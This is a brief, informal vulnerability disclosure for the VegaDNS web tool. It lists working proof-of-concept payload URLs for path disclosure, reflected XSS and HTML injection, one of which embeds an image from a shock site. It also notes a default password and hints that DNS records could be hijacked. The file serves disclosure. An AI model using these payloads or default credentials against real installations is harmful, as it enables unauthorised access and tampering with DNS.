vegadns-dyn0.txt

`VegaDNS XSS  
-----------  
Desc: Multiple vulns in VegaDNS  
Risk: Medium to High   
Discovered by : dyn0 (codeslag{hat}gmail.com) http://0xdeadface.co.uk  
Project blurb : VegaDNS is a tinydns administration tool written in PHP   
to allow easy administration of DNS records through a web browser.  
  
Affected Versions : tested on version 0.8.1, version 0.9.8  
  
1) PATH DISCLOSURE : index.php?VDNS_Sessid='  
2) XSS : index.php?VDNS_Sessid=[sessid]&message=[some error msg]<iframe src="http://microsoft.com">  
3) HTML INJECTION : index.php?VDNS_Sessid=[sessid]&message=[some error msg]<img src="http://goat.cx/hello.jpg">  
4) GENERIC JS ALERT : index.php?VDNS_Sessid=[sessid]&message=[some error msg]<script>alert("0xdeadface");</script>  
5) DEFAULT LOGIN : If the admins lazy (dumb?) then you might be able to login using user:[email protected] / pass:test  
  
I'm lazy so this I've only tested the login page but I bet it wouldnt be too hard to hijack the dns  
  
Hugs & Kisses dyn0`